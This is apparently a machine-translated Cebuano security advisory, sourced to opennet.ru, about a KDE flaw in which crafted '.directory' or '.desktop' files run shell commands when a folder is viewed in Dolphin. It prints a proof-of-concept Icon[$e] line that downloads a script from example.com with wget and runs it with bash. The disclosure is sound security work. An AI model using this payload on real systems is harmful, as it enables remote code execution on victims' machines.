Sa KDE , nga nagtugot sa usa ka tig-atake sa pagpatuman sa arbitraryong mga sugo kon ang usa ka user motan-aw sa usa ka direktoryo o archive nga adunay espesyal nga gidisenyo nga ".desktop" ug ".directory" nga mga file. Ang usa ka pag-atake nagkinahanglan nga ang user motan-aw lang sa lista sa mga file sa Dolphin file manager, mag-download og malisyoso nga desktop file, o mag-drag og shortcut ngadto sa desktop o ngadto sa usa ka dokumento. Ang problema nagpakita sa iyang kaugalingon sa kasamtangan nga pagpagawas sa mga librarya ug mas karaan nga mga bersyon, hangtod sa KDE 4. Ang kahuyang sa gihapon (Wala gi-assign ang CVE).
Ang problema gipahinabo sa usa ka sayup nga pagpatuman sa klase sa KDesktopFile, nga, kung giproseso ang variable nga "Icon", nga walaβy husto nga pag-ikyas, gipasa ang kantidad sa KConfigPrivate::expandString() function, nga naghimo sa pagpalapad sa mga espesyal nga karakter sa shell, lakip ang pagproseso ang mga kuwerdas β$(..)β isip mga sugo nga ipatuman . Sukwahi sa mga kinahanglanon sa detalye sa XDG, pagpatuman Ang mga pagtukod sa kabhang gihimo nga wala gibulag ang tipo sa mga setting, i.e. dili lamang sa pagtino sa command line sa aplikasyon nga ilusad, apan usab sa dihang gipiho ang mga icon nga gipakita sa default.
Pananglitan, sa pag-atake ipadala ang user og zip archive nga adunay direktoryo nga adunay ".directory" nga file nga sama niini:
[Desktop Entry] Type=Direktoryo
Icon[$e]=$(wget${IFS}https://example.com/FILENAME.sh&&/bin/bash${IFS}FILENAME.sh)
Kung imong sulayan nga tan-awon ang mga sulud sa archive sa Dolphin file manager, ang script nga https://example.com/FILENAME.sh ma-download ug ipatuman.
Source: opennet.ru